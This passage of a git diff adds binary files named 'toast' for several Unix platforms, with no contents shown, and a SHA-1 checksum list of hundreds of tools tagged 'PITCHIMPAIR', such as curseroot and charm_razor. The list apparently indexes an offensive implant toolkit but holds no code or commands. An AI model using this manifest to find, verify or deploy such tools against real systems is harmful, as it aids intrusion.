b/Linux/up/toast/toast_v3.1.1.0-freebsd6-x86 new file mode 100644 index 0000000..530e765 Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd6-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd7-x86 b/Linux/up/toast/toast_v3.1.1.0-freebsd7-x86 new file mode 100644 index 0000000..b0cf30c Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd7-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd7-x86_64 b/Linux/up/toast/toast_v3.1.1.0-freebsd7-x86_64 new file mode 100644 index 0000000..0cf333e Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd7-x86_64 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd8-x86 b/Linux/up/toast/toast_v3.1.1.0-freebsd8-x86 new file mode 100644 index 0000000..8dc6372 Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd8-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-freebsd8-x86_64 b/Linux/up/toast/toast_v3.1.1.0-freebsd8-x86_64 new file mode 100644 index 0000000..417f980 Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-freebsd8-x86_64 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-linux-x86 b/Linux/up/toast/toast_v3.1.1.0-linux-x86 new file mode 100644 index 0000000..93c25be Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-linux-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-solaris-sparc b/Linux/up/toast/toast_v3.1.1.0-solaris-sparc new file mode 100644 index 0000000..d731c5f Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-solaris-sparc differ diff --git a/Linux/up/toast/toast_v3.1.1.0-solaris-x86 b/Linux/up/toast/toast_v3.1.1.0-solaris-x86 new file mode 100644 index 0000000..767203b Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-solaris-x86 differ diff --git a/Linux/up/toast/toast_v3.1.1.0-solaris10-x86 b/Linux/up/toast/toast_v3.1.1.0-solaris10-x86 new file mode 100644 index 0000000..683d318 Binary files /dev/null and b/Linux/up/toast/toast_v3.1.1.0-solaris10-x86 differ diff --git a/Linux/up/toast/toast_v3.2.0.1-linux b/Linux/up/toast/toast_v3.2.0.1-linux new file mode 100644 index 0000000..e772d4c Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.1-linux differ diff --git a/Linux/up/toast/toast_v3.2.0.2-x86-solaris b/Linux/up/toast/toast_v3.2.0.2-x86-solaris new file mode 100644 index 0000000..28d0451 Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.2-x86-solaris differ diff --git a/Linux/up/toast/toast_v3.2.0.3-sparc-solaris b/Linux/up/toast/toast_v3.2.0.3-sparc-solaris new file mode 100644 index 0000000..5f10655 Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.3-sparc-solaris differ diff --git a/Linux/up/toast/toast_v3.2.0.4-x86-freebsd8 b/Linux/up/toast/toast_v3.2.0.4-x86-freebsd8 new file mode 100644 index 0000000..fa29925 Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.4-x86-freebsd8 differ diff --git a/Linux/up/toast/toast_v3.2.0.5-x86-freebsd9 b/Linux/up/toast/toast_v3.2.0.5-x86-freebsd9 new file mode 100644 index 0000000..b833d0e Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.5-x86-freebsd9 differ diff --git a/Linux/up/toast/toast_v3.2.0.6-x86-freebsd5 b/Linux/up/toast/toast_v3.2.0.6-x86-freebsd5 new file mode 100644 index 0000000..81a788b Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.6-x86-freebsd5 differ diff --git a/Linux/up/toast/toast_v3.2.0.8-x86-freebsd6 b/Linux/up/toast/toast_v3.2.0.8-x86-freebsd6 new file mode 100644 index 0000000..ff1e765 Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.8-x86-freebsd6 differ diff --git a/Linux/up/toast/toast_v3.2.0.9-x86-freebsd7 b/Linux/up/toast/toast_v3.2.0.9-x86-freebsd7 new file mode 100644 index 0000000..440bcf1 Binary files /dev/null and b/Linux/up/toast/toast_v3.2.0.9-x86-freebsd7 differ diff --git a/Linux/up/tools.sha1sums.txt b/Linux/up/tools.sha1sums.txt new file mode 100644 index 0000000..5304144 --- /dev/null +++ b/Linux/up/tools.sha1sums.txt @@ -0,0 +1,568 @@ +B582EBF715118F73AB3D047A34B3B43FF7DC6D2E Fri Apr 24 12:06:21 2009 [PITCHIMPAIR.xx] charm_fiesta.hp-uxb.11.00_v.1.1.0.7 +3DC70B280A3191CE13EA0AA37367D985162D89FB Fri Oct 19 17:50:54 2012 [PITCHIMPAIR.xx] charm_hammer.linuxrh7.3.i686_v.1.0.0.3 +22D930E5612B6EDA2700B5269FE5F54D319AA068 Tue Jul 22 19:57:44 2008 [PITCHIMPAIR.xx] charm_penguin.sunos5.10_v.1.0.0.6 +64BE0F869F25199A1F0E42C4B3DC3B890898AD2F Thu Mar 10 19:58:47 2011 [PITCHIMPAIR.xx] charm_penguin.sunos5.8_v.2.0.0.1 +092290E03075FA55B66874398E72EE3956F15F3B Fri May 18 14:47:54 2012 [PITCHIMPAIR.xx] charm_penguin.sunos5.8_v.2.0.1.4 +745A652564161CDD09BE5FB188D37F7029F6A167 Tue Jun 15 18:04:08 2010 [PITCHIMPAIR.xx] charm_razor.win2k_v.2.0.0.1 +34288D6AEE12B7413901998B0E5ECD57A50980F6 Thu Nov 8 15:19:48 2012 [PITCHIMPAIR.xx] charm_razor.linux2.6.5-7.97-smp.i686_v.2.1.0.2 +3DB22E768BD206D98A238F2A7ECA1A808B008E3F Fri Jul 10 17:35:09 2009 [PITCHIMPAIR.xx] charm_razor.linux2.6.5-7.97-smp_v.1.1.0.3 +223EAC43A8C30ED3C59DDB8B43C5440016E8F5DC Fri Jul 10 17:35:09 2009 [PITCHIMPAIR.xx] charm_razor.sunos5.9_v.1.1.0.3 +F76FEB529CB68871E1B0CB5D813C8CFAC538F0DE Fri Jan 29 14:48:27 2010 [PITCHIMPAIR.xx] charm_razor.sunos5.8_v.1.2.0.2 +055245170D813DA026D59630623EE13136143E6F Fri Jan 29 14:48:27 2010 [PITCHIMPAIR.xx] charm_razor.linuxsuse9.0_v.1.2.0.2 +44A5E77FC31C9104C1EEE3CAB47D5D6B54EA8E84 Fri Oct 17 13:49:52 2008 [PITCHIMPAIR.xx] charm_saver.hp-uxb.11.11_v.1.0.0.1 +9B1608CD4BFCD8D6970187589AE999E0829C81B7 Thu Jun 3 16:20:34 2010 [PITCHIMPAIR.xx] charm_saver.hpux11.00_v.2.0.0.2 +AA7D6B77B5C000314C856431883DF2B0D12EC046 Tue May 4 17:03:01 2010 [PITCHIMPAIR.xx] charm_saver.win2k_v.2.0.0.2 +D1BB7A0F6EC97C31450251C83879CABCDC071F23 Wed Dec 17 16:06:17 2008 [PITCHIMPAIR.xx] charm_uno.sunos5.9_v.1.1.0.4 +5CC8C3587040C40C263C9B5199F716A3CE443DB1 Mon Sep 28 14:41:14 2009 [PITCHIMPAIR.xx] charm_vortex.sunos5.8_v.1.0.0.2 +750BBC158C7DB265225A5269677EAD5D04263513 Thu Jan 21 17:56:29 2010 [PITCHIMPAIR.xx] charm_vortex.sunos5.8_v.1.0.1.2 +AD1E131CFC08DA5F448B6DF7D61711D9D1FFFDDC Tue May 6 18:01:58 2008 [PITCHIMPAIR.xx] charm_hydrant.v1.0.0.1.sunos5.9_v.solaris_8 +AE9EF603C60BFE913764BAFE5D6268035A2DF7ED Fri Oct 1 17:27:47 2010 [PITCHIMPAIR.xx] charm_uno.v2.0.0.3.linuxrh7.3_v.linux +40CC8C09636384EA5F88E97BAAAFF7E09B42EC02 Thu Apr 24 19:03:42 2008 [PITCHIMPAIR.xx] charm_uno.v1.0.0.8.sunos5.9_v.solaris_9 +1B23226DA89FEEE4A9DEB631069D7449E4372A8A Wed Aug 13 18:05:49 2008 [PITCHIMPAIR.xx] crypttool.linux2.4.21-37.elsmp_v.1.5.0.8 +30B0CBBFB4F6F9CBF40A0A18E08B4C71231D2B1D Thu May 17 14:23:03 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.sparc_v.2.0.1.3 +ED3FA710317E7D0BCDED864C7766E9D8530AE238 Thu May 17 14:23:03 2012 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.1.3 +36821190B36342B1ED7C5FE185D3B4FD0F820B43 Thu May 17 14:23:03 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.i386_v.2.0.1.3 +5F5B1285967393B7A2485EBE3ADEF9D2047E4CA8 Thu May 17 14:23:03 2012 [PITCHIMPAIR.xx] crypttool.win2k_v.2.0.1.3 +F52340918751E515BBF9B4B111EAFE81E28874E0 Thu May 17 14:23:03 2012 [PITCHIMPAIR.xx] crypttool.hpuxb.11.00_v.2.0.1.3 +1A0B601B7A2B72606D4193E5A5E7D4A610C9CA7F Thu May 17 14:23:03 2012 [PITCHIMPAIR.xx] crypttool.aix5.1_v.2.0.1.3 +9096C1AA8ECEDA532F47F82572ED5534F33FA4C7 Fri Dec 21 16:34:57 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.sparc_v.2.1.0.2 +937F493E538B96C29F48A5957B16B0356498998B Fri Dec 21 16:34:57 2012 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.1.0.2 +A69F4E110877B015D2909B8F54BC18169A589F47 Fri Dec 21 16:34:57 2012 [PITCHIMPAIR.xx] crypttool.sunos5.8.i386_v.2.1.0.2 +954F4778E5CD7A31B575B8C3C5B69A24D753E87B Fri Dec 21 16:34:57 2012 [PITCHIMPAIR.xx] crypttool.win2k_v.2.1.0.2 +80A7419E7A8CFD28E0E790F79AC518EEFEAE93CA Fri Dec 21 16:34:57 2012 [PITCHIMPAIR.xx] crypttool.hpuxb.11.00_v.2.1.0.2 +93249C66F57121DEBD98395E0B5A10517CA25DD4 Fri Dec 21 16:34:57 2012 [PITCHIMPAIR.xx] crypttool.aix5.1_v.2.1.0.2 +F30D68AB7C63548AE9736B8FC8A0F98EE9D6ABEE Fri Jan 7 15:43:03 2011 [PITCHIMPAIR.xx] crypttool.linux2.4.18-3_v.2.0.0.15 +5155C50365264F0325A4E585A01F890E6A4695DB Wed Sep 19 12:23:07 2007 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.1.1.1.1 +54142A2EBEB9490336E2158C46BAF2ACC75238C7 Wed Sep 19 12:23:39 2007 [PITCHIMPAIR.xx] cursegismo.sunos5.9_v.1.1.1.1 +E5D9850E1BCF7C7B1DD40128EFEB4087E9468AF7 Thu Jun 28 18:47:50 2007 [PITCHIMPAIR.xx] cursehydrant.hp-uxb.11.00_v.6.0.0.6 +6BD65C84C0C55D59FF5F561BA1FF2CDA897C992B Thu Jun 28 18:48:56 2007 [PITCHIMPAIR.xx] cursehydrant.hp-uxb.11.11_v.6.0.0.6 +26493B4EC53AC10B1A920CE7469335B999DEF1A1 Wed Sep 19 12:29:12 2007 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.1.1.0.3 +26760620759A575F03DB3811EBF0E3E3698CF44F Wed Sep 19 12:29:44 2007 [PITCHIMPAIR.xx] cursemagic.sunos5.9_v.1.1.0.3 +CCDEAB6DCCCB2BC0F5FBBB17FE989C7179E76745 Thu Mar 6 17:41:23 2008 [PITCHIMPAIR.xx] cursebingo.sunos5.10_v.1.0.1.2 +B5652F2E11129D51FFAB3F6F9BC188B3226BAEB0 Thu Mar 6 21:07:23 2008 [PITCHIMPAIR.xx] cursebongo.sunos5.10_v.1.0.0.4 +908A7347F0622960E8225BF3206636111CBE0AED Mon May 3 12:24:13 2010 [PITCHIMPAIR.xx] cursebongo.sunos5.8_v.2.0.0.1 +066C9ED5D6E3498A43CAF705945DE78AA723C206 Tue Jun 23 18:53:33 2009 [PITCHIMPAIR.xx] cursebongo.sunos5.8_v.1.1.0.1 +43AB277B3629507710FD1269C91ABB8E74CCA969 Fri Apr 24 16:40:07 2009 [PITCHIMPAIR.xx] cursechicken.sunos5.8_v.1.0.1.4 +95C2D8C5354AD0BB09796E80F846115168262B86 Mon Nov 3 15:30:47 2008 [PITCHIMPAIR.xx] cursechicken.sunos5.8_v.1.0.0.1 +0D4A01E9C4F0683078650DD94CCE24BAE65168C5 Tue Jun 5 13:16:09 2012 [PITCHIMPAIR.xx] curseclash.aix5.1.powerpc_v.1.0.1.1 +C81DAF1D7D76DA410857A90953E8D7A1909D948F Wed Oct 10 11:44:18 2012 [PITCHIMPAIR.xx] curseclash_flx.sunos5.8.sparc_v.1.0.0.3 +93E018FB88F01C223B11C4F6026E321B29A59853 Wed Oct 10 11:44:18 2012 [PITCHIMPAIR.xx] curseclash_flx.aix5.1.powerpc_v.1.0.0.3 +4635E05651DBCD3F2EDA4A174D7C33F01DE1C9C3 Wed Jun 15 12:35:27 2011 [PITCHIMPAIR.xx] cursedevo.sunos5.8_v.1.0.0.3 +E4A544206B0501E67F16A26093428AC334A973E5 Fri Dec 7 21:11:21 2012 [PITCHIMPAIR.xx] cursefire.linuxrh7.3.i686_v.1.1.0.2 +19ABD4D601359BB4ECF8B9697DAAA7F6BEA9F402 Mon Jun 4 12:38:36 2012 [PITCHIMPAIR.xx] cursefire.sunos5.8.sparc_v.1.0.0.3 +DCD5465C9327A0AFE309A116AB428B6EA95B60FE Tue Aug 11 16:34:19 2009 [PITCHIMPAIR.xx] curseflower.mswin32_v.1.0.0.3 +84290FB4E490182FACC517561544226C6FA89465 Mon Jun 11 20:02:40 2007 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.1.1.0.4 +84B2DDBE9ECACCA5E786079C314AB1F0C935A401 Wed Jan 27 16:35:39 2010 [PITCHIMPAIR.xx] cursegismo.linuxrh7.3_v.2.0.0.2 +90B50B531E0DB2DFDF885F23E531973B1C85DF24 Wed Jan 27 16:35:39 2010 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.2.0.0.2 +3DE069D24A523C10A1F2CF6E53DB86DE4878CA40 Wed Jan 27 16:35:39 2010 [PITCHIMPAIR.xx] cursegismo.hpuxb.11.00_v.2.0.0.2 +7B73F0EB39A434DAB80BE1F5240AAA8ED3499C28 Fri Feb 11 18:13:50 2011 [PITCHIMPAIR.xx] cursegismo.sunos5.8.i386_v.2.1.0.1 +CAB5155EF63DC824DE53568A639735310C35EF22 Fri Feb 11 18:13:50 2011 [PITCHIMPAIR.xx] cursegismo.linuxrh7.3_v.2.1.0.1 +78DA2E62CD6A53B75A38A41DC65950BA10828D87 Fri Feb 11 18:13:50 2011 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.2.1.0.1 +91ACE7E5E2073367D810C933E10ABF35432094F7 Fri Feb 11 18:13:50 2011 [PITCHIMPAIR.xx] cursegismo.hpux11.00_v.2.1.0.1 +F9DB4E9BB875AE22951B74A8A727E30C531B31C1 Wed Oct 22 18:16:38 2008 [PITCHIMPAIR.xx] cursegismo.sunos5.8_v.1.2.0.2 +475EE14BB59E2CBF1625AC75C269F44C0577E5D0 Wed Oct 10 11:33:18 2012 [PITCHIMPAIR.xx] cursegismo.sunos5.8.sparc_v.2.2.0.2 +327901EDA008636E3A944B82D44FF16F14A863AE Wed Oct 10 11:33:18 2012 [PITCHIMPAIR.xx] cursegismo.sunos5.8.i386_v.2.2.0.2 +C6BEF72471D15F33FEACE85D10CB0F3AD8C1AE78 Wed Oct 10 11:33:18 2012 [PITCHIMPAIR.xx] cursegismo.linuxrh7.3.i686_v.2.2.0.2 +133041F8A5206116CF4A14883BC93DD53641C00B Mon Apr 12 14:31:25 2010 [PITCHIMPAIR.xx] cursegismo.sunos5.8.i386_v.2.0.0.5 +A95C3632C0AF9F491658F8749DB7FDA243B8FA92 Thu Apr 9 15:33:32 2009 [PITCHIMPAIR.xx] cursehappy.hp-uxb.11.00_v.5.0.0.5 +CFDA3B122E8599C57B3F8B632324E43427536012 Thu Apr 9 15:33:55 2009 [PITCHIMPAIR.xx] cursehappy.sunos5.8_v.5.0.0.5 +2C3C96D3AEBDE479FC5147F8DCF00625FD78024E Thu Apr 9 15:33:44 2009 [PITCHIMPAIR.xx] cursehappy.mswin32_v.5.0.0.5 +0D579EFC002622BC2D639FB8E5DFFA1E45A5BE51 Wed Jan 2 21:30:38 2008 [PITCHIMPAIR.xx] cursehappy.hp-uxb.11.11_v.4.1.2.4 +6485249152B9A0DCC327D80F400275CA0703773C Mon Mar 1 16:58:03 2010 [PITCHIMPAIR.xx] cursehappy.win2k_v.6.0.0.1 +D0E3E98DA05D29FB9802291E744EF1667582D756 Mon Mar 1 16:58:03 2010 [PITCHIMPAIR.xx] cursehappy.rhl7.3_v.6.0.0.1 +96CE881EA4546F46961475A9D6B0BF40D1B7BE31 Mon Mar 1 16:58:03 2010 [PITCHIMPAIR.xx] cursehappy.hp-uxb.11.00_v.6.0.0.1 +16C7C11BD8C70F333F16341ABA0DB2BAAD0904FC Mon Mar 1 16:58:03 2010 [PITCHIMPAIR.xx] cursehappy.sunos5.8_v.6.0.0.1 +00D54B5F950A377E900B64B565DA58FD014EB672 Thu Aug 19 19:53:15 2010 [PITCHIMPAIR.xx] cursehappy.sunos5.8_v.6.1.0.1 +EDA9AD9BE6CCBCCCDD96EEEADF2E744E4297A5C0 Thu Aug 19 19:53:15 2010 [PITCHIMPAIR.xx] cursehappy.hpux11.00_v.6.1.0.1 +E79BCE98D9F64ED71CFCA7C6C507FC7723F9861A Thu Aug 19 19:53:15 2010 [PITCHIMPAIR.xx] cursehappy.win2k_v.6.1.0.1 +D83037BC4E025BABA874E5BBA4079C4205B9B264 Thu Aug 19 19:53:15 2010 [PITCHIMPAIR.xx] cursehappy.linuxrh7.3_v.6.1.0.1 +AAB569E5B3643DBE07F981EFA6E1F2D68E25B723 Tue Nov 8 16:43:43 2011 [PITCHIMPAIR.xx] cursehappy.linuxrh7.3.unknown_v.6.2.0.3 +4214A7541803C3AC87C3C491487F11E96FC4B058 Tue Nov 8 16:43:43 2011 [PITCHIMPAIR.xx] cursehappy.hpux11.00.risc_v.6.2.0.3 +A41EE20E65397DCE5F288B748A52C6D6C4F9154A Tue Nov 8 16:43:43 2011 [PITCHIMPAIR.xx] cursehappy.win2k.i686_v.6.2.0.3 +397DF64863C130F5BD3C8A1E179C86CD6B48F23F Tue Nov 8 16:43:43 2011 [PITCHIMPAIR.xx] cursehappy.sunos5.8.sparc_v.6.2.0.3 +AA227C89ACE731945DC53ACF7DC90DECB4C2DBE4 Thu Sep 2 11:32:31 2010 [PITCHIMPAIR.xx] cursehelper.win2k_v.2.1.0.2 +0D151AB49A9974844A0089B9C576AA6218479512 Thu Sep 2 11:32:31 2010 [PITCHIMPAIR.xx] cursehelper.sunos5.8_v.2.1.0.2 +2B6ABB47B4C5DF369A794A6FED08CD476470C9FC Thu Sep 2 11:32:31 2010 [PITCHIMPAIR.xx] cursehelper.hpux11.00_v.2.1.0.2 +0D42734F8F15EDFFB3B73A6DFDE6FC60DC2FC045 Thu Sep 2 11:32:31 2010 [PITCHIMPAIR.xx] cursehelper.aix5.1_v.2.1.0.2 +FBF7334531AED88C938B61F394FFAAC0FB01D38E Tue Mar 6 12:16:05 2012 [PITCHIMPAIR.xx] cursehelper.win2k.i686_v.2.2.0.4 +733D6939BD35C01661017299D21DA157EF4FF210 Fri Feb 10 16:04:56 2012 [PITCHIMPAIR.xx] cursehelper.sunos5.8.sparc_v.2.2.0.4 +68DA058E84F85135CC93836394FE2AA761DAA712 Tue Mar 6 12:15:58 2012 [PITCHIMPAIR.xx] cursehelper.aix5.1.powerpc_v.2.2.0.4 +5346758117978E6DD9614D06E03F1139436D3BB3 Tue Mar 6 12:16:03 2012 [PITCHIMPAIR.xx] cursehelper.hpux11.00.risc_v.2.2.0.4 +05D9935E7D3B62EF3A1DC3E5CA06B0DA58787995 Thu Aug 6 14:59:04 2009 [PITCHIMPAIR.xx] cursehelper.hp-uxb.11.00_v.1.1.0.1 +E9E9EE03E063BE329F2F72FBF4E4A666CEC9AA62 Thu Aug 6 14:59:14 2009 [PITCHIMPAIR.xx] cursehelper.sunos5.8_v.1.1.0.1 +3DA7D89E3971659334780BEC8B6A41DC57BCD800 Wed Apr 17 12:29:31 2013 [PITCHIMPAIR.xx] cursehelper.linuxrh7.3.i686_v.2.2.1.1 +0BF3892053FB4F3B9781C0AF0FCB807B5DE8C1DD Tue Jul 10 17:04:46 2012 [PITCHIMPAIR.xx] cursehelper.sunos5.8.i386_v.2.2.0.4 +3BC7ADFF5142E362048E633ADBE6BF4389B9CB85 Thu Feb 28 16:54:34 2013 [PITCHIMPAIR.xx] cursehole_flx.aix5.1.powerpc_v.1.0.0.4 +E445C73287B999AC7285765B6EF6FE872A0685F6 Tue Feb 12 14:31:24 2013 [PITCHIMPAIR.xx] cursehole_flx.sunos5.8.sparc_v.1.0.0.3 +2D3FF8ED7B3E3D4C3F2504845648E613893000E4 Wed Feb 18 11:37:52 2009 [PITCHIMPAIR.xx] cursehydrant.hp-uxb.11.00_v.6.1.0.2 +311AFCA87D343B8DF9F38D7933DFA509E2966D30 Thu Feb 5 13:51:01 2009 [PITCHIMPAIR.xx] cursehydrant.sunos5.8_v.6.1.0.2 +925475C5D2A5D4A85C78F934DDF06E596A7ABAF3 Tue Nov 10 11:30:43 2009 [PITCHIMPAIR.xx] cursejoker.aix5.1_v.1.0.0.4 +B8009CA04040EBECE514073BD822DA91C3DB7A32 Wed May 16 14:25:41 2012 [PITCHIMPAIR.xx] cursekettle.hpux11.00.risc_v.1.1.0.2 +E60CDF1037A260DE386C7AD7807A934EB0CDA592 Fri May 1 14:33:30 2009 [PITCHIMPAIR.xx] cursekettle.sunos5.8_v.1.0.0.2 +ED00A5537A9F0CD8E7E58F6693C607BB33AD7748 Mon Jun 13 18:21:25 2011 [PITCHIMPAIR.xx] cursekiln.sunos5.8_v.1.0.0.2 +BFAF9F5CF11D26ED93A4BF6359D7AF02A298343C Fri Dec 2 15:22:56 2011 [PITCHIMPAIR.xx] cursekiln.sunos5.8_v.1.0.1.3 +42B4B6D0DC192F191613197A305C2B2CBEFD28C8 Fri Dec 14 19:34:10 2012 [PITCHIMPAIR.xx] curselion.aix5.1.powerpc_v.2.0.0.2 +1A482796010B00C24BCD30A3F790571DEFE65443 Tue Jan 23 15:16:44 2007 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.1.0.0.0 +CF983C394CBA918C8EE1362FA82C9EB9A49EFE72 Thu Dec 18 19:10:16 2008 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.1.2.0.2 +F191378B2B009A1DAF0DBEB5F066AC1D981CF12E Fri Oct 14 15:39:26 2011 [PITCHIMPAIR.xx] cursemagic.aix5.1_v.2.1.0.3 +D1BBDA568B0EFBEEC395203C67659B154A1523FA Fri Oct 14 15:39:26 2011 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.1.0.3 +4E5418CB07531150AF21CFEF2E61CFBC7AA7841F Fri Oct 14 15:39:26 2011 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.2.1.0.3 +4DD9975EF41041B5EBB7436D0133E5D2E94AAF36 Fri Oct 14 15:39:26 2011 [PITCHIMPAIR.xx] cursemagic.hpux11.00_v.2.1.0.3 +FB1B509AB5167368EE71CA93EECFAAD66D4765C1 Tue Apr 20 18:57:48 2010 [PITCHIMPAIR.xx] cursemagic.solaris5.8_v.2.0.1.1 +F3D41481F353EE9AC9ED9777F12FFFBAEB814C7F Tue Apr 20 18:57:48 2010 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.0.1.1 +5BD539E66B8EFBC1E6077F22F3CC850E9487222D Wed Apr 21 16:16:46 2010 [PITCHIMPAIR.xx] cursemagic.hpux11.00_v.2.0.1.1 +26EB533FA7E3EA9559FD71E3B6C470497C3B25F4 Wed Apr 21 16:16:51 2010 [PITCHIMPAIR.xx] cursemagic.aix5.1_v.2.0.1.1 +DAC7B3214478A845B86D1E91915E33575C93A13C Thu Dec 18 19:07:08 2008 [PITCHIMPAIR.xx] cursemagic.linux2.4.21-37.elsmp_v.1.2.0.4 +7A5A909B508E97EF52954DB6D3F1F5F0021390EA Tue Apr 14 18:42:20 2009 [PITCHIMPAIR.xx] cursemagic.sunos5.8_v.1.3.0.5 +74C08F1BD4008954E028181E7BE9B51DDE95B2BD Tue Apr 14 18:42:10 2009 [PITCHIMPAIR.xx] cursemagic.linux2.4.21-37.elsmp_v.1.3.0.5 +6C5D7A56FCDB65792E05D2DBD9631978511D5F1F Fri Nov 6 12:42:57 2009 [PITCHIMPAIR.xx] cursemagic.rhl7.3_v.1.3.0.5 +9BD3FEB3AE384C1592ACC5FEC2B0F8BB740BC405 Fri Apr 9 10:41:09 2010 [PITCHIMPAIR.xx] cursemagic.linuxrh7.3_v.2.0.0.1 +230335E9756A226A95B86C8EA709320959A3AFE5 Fri Apr 9 10:38:39 2010 [PITCHIMPAIR.xx] cursemagic.solaris5.8_v.2.0.0.1 +5DD669543CDF1C080324BE347E838C8EA9E5FE80 Fri Aug 6 14:28:17 2010 [PITCHIMPAIR.xx] cursenag.sunos5.8_v.1.0.0.1 +D63912E862CAAC386EDF1581CC57D28DC88CBF00 Thu Jul 15 15:51:04 2010 [PITCHIMPAIR.xx] cursequake.sunos5.8_v.1.0.0.2 +C45D7E21D425B5DFEEBB35F030101D0CE8102EFE Tue Jun 28 16:50:51 2011 [PITCHIMPAIR.xx] cursequake.sunos5.8_v.1.1.0.4 +C258267401EFA2A493E750D6E2F94AF05C9973A2 Thu Mar 6 19:51:15 2008 [PITCHIMPAIR.xx] curserazor.sunos5.10_v.1.1.1.1 +1650D59B59E3749562571534A043AFB3FF05BA1D Mon Aug 4 15:50:56 2008 [PITCHIMPAIR.xx] curserazor.sunos5.10_v.1.2.0.7 +DB3ECC5696D3785D362B0B235845EB27F6FC304C Fri Jan 16 20:36:42 2009 [PITCHIMPAIR.xx] curserazor.sunos5.10_v.1.3.0.5 +D4F511AA47D7C82A2D7BA76B73870C0A50F10FC4 Fri Jan 16 20:36:26 2009 [PITCHIMPAIR.xx] curserazor.mswin32_v.1.3.0.5 +62722FCEE8CB2048FE74B92FD97DF49270FE0066 Thu Mar 26 12:53:40 2009 [PITCHIMPAIR.xx] curserazor.sunos5.8_v.1.3.1.8 +8A9C7309001627AD6463D192907453859C113705 Thu Mar 26 12:53:31 2009 [PITCHIMPAIR.xx] curserazor.mswin32_v.1.3.1.8 +349885662B4C89A399DE5C5CC96BFFC394911E77 Thu Jan 20 19:51:01 2011 [PITCHIMPAIR.xx] curserazor.win2k_v.2.0.0.5 +CE2AB103A224872A374EBD6AD16C0C63C2A82823 Thu Jan 20 19:51:01 2011 [PITCHIMPAIR.xx] curserazor.sunos5.8_v.2.0.0.5 +BB8E43C87C436F886F515BCF1439CB214C6FC726 Tue Apr 12 13:41:11 2011 [PITCHIMPAIR.xx] curserazor.win2k_v.2.0.1.1 +1F36611F0A9E1B9BCF9BDE6E983FBABE628D7F33 Tue Apr 12 13:41:11 2011 [PITCHIMPAIR.xx] curserazor.sunos5.8_v.2.0.1.1 +201F963039FDED3AA70DE84AF5DCCF47541C14DF Fri Dec 11 14:03:41 2009 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp_v.2.0.0.3 +D5A0ED87A0E5029AA0A8568EFD2F8ACFEFC0DC2E Fri Dec 11 14:03:41 2009 [PITCHIMPAIR.xx] curseroot.aix5.1_v.2.0.0.3 +7992D84590400AEA7ACCC172402AC497889A4491 Fri Dec 11 14:03:41 2009 [PITCHIMPAIR.xx] curseroot.win2k_v.2.0.0.3 +F992E901527ECEE524CDA9BA5F0C8F70942DB4CB Fri Dec 11 14:03:41 2009 [PITCHIMPAIR.xx] curseroot.sunos5.8_v.2.0.0.3 +9FED741DCC06376ADDF0328F72718E8F1CD5C8A0 Fri Mar 25 16:44:46 2011 [PITCHIMPAIR.xx] curseroot.sunos5.8_v.2.1.0.8 +3CF20147D62A8E021734AC42F0246E0F6B83E0DB Fri Mar 25 16:44:46 2011 [PITCHIMPAIR.xx] curseroot.hpux11.00_v.2.1.0.8 +63BD0E5F8C55B62BA0927D6578E53167CD369387 Fri Mar 25 16:44:46 2011 [PITCHIMPAIR.xx] curseroot.aix5.1_v.2.1.0.8 +FC8BF37C34ABD5D0E121775795B01EB5AD2A6BD0 Fri Mar 25 16:44:46 2011 [PITCHIMPAIR.xx] curseroot.linux2.6.5-7.97-smp_v.2.1.0.8 +9B6FC19EE920D26B7EA8F7E1B27BFF5F0BA18ABC Fri Mar 25 16:44:46 2011 [PITCHIMPAIR.xx] curseroot.win2k_v.2.1.0.8 +BD253FF1DB61808424630608C610E4C7B8A6CC01 Mon Mar 19 12:22:14 2012 [PITCHIMPAIR.xx] curseroot.aix5.1.powerpc_v.2.2.0.7 +A4EA3AE1B8981228A3645C0E7FC844FF3BFDE689 Fri Feb 13 11:36:02 2009 [PITCHIMPAIR.xx] curseroot.v1.2.0.2.aix5.1_v.1.2.0.1 +7252FCC4AE84C3A88C6DB05828B8E09F19D37147 Fri Feb 13 11:36:41 2009 [PITCHIMPAIR.xx] curseroot.v1.2.0.2.sunos5.8_v.1.2.0.1 +B9FA6DD58B8963783BB797641C35F8504146B15C Tue Jan 20 17:58:00 2009 [PITCHIMPAIR.xx] curseroot.v1.2.0.2.mswin32_v.1.2.0.1 +79D951876AA687ED8039D6B8A194F8DCDC0C02E1 Tue May 19 18:52:26 2009 [PITCHIMPAIR.xx] curseroot.sunos5.8_v.1.2.2.9 +8A3EB497162EB18437EB85DE95AD11B66B7446D6 Tue May 19 18:52:16 2009 